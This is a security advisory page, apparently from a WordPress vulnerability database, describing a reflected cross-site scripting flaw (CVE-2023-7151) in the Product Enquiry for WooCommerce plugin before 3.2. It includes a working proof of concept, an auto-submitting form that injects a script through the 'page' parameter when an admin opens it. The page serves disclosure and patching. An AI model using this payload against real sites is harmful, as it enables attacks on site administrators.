Product Enquiry for WooCommerce < 3.2 – Reflected XSS | CVE 2023-7151 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape the page parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open a page with the code below

<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=GMWQP&view=list" method="POST">
        <input type="text" name="page" value='"><script>alert(/XSS/)</script>'>
        <input type="submit" value="submit">
    </form>
</body>

Affects Plugins

gm-woocommerce-quote-popup

Fixed in 3.2

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Erwan LR (WPscan)

Submitter

Erwan LR (WPscan)

Verified

Yes

WPVDB ID

4992a4a9-f21a-46e2-babf-954acfc7c5b4

Timeline

Publicly Published

2024-01-15 (about 1 year ago)

Added

2024-01-08 (about 1 year ago)

Last Updated

2024-01-08 (about 1 year ago)

Other

Published

Title

Published

2024-08-08

Title

Gutentor < 3.3.6 - Contributor+ Stored XSS

Published

2023-05-12

Title

Column-Matic <= 1.3.3 - Contributor+ Stored XSS

Published

2025-01-10

Title

Dominion – Domain Checker for WPBakery <= 2.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-04-12

Title

GiveWP – Donation Plugin and Fundraising Platform < 3.7.0 - Contributor+ Stored Cross-Site Scripting via Shortcode

Published

2017-10-26

Title

User Login History <= 1.5 - Cross-Site Scripting (XSS)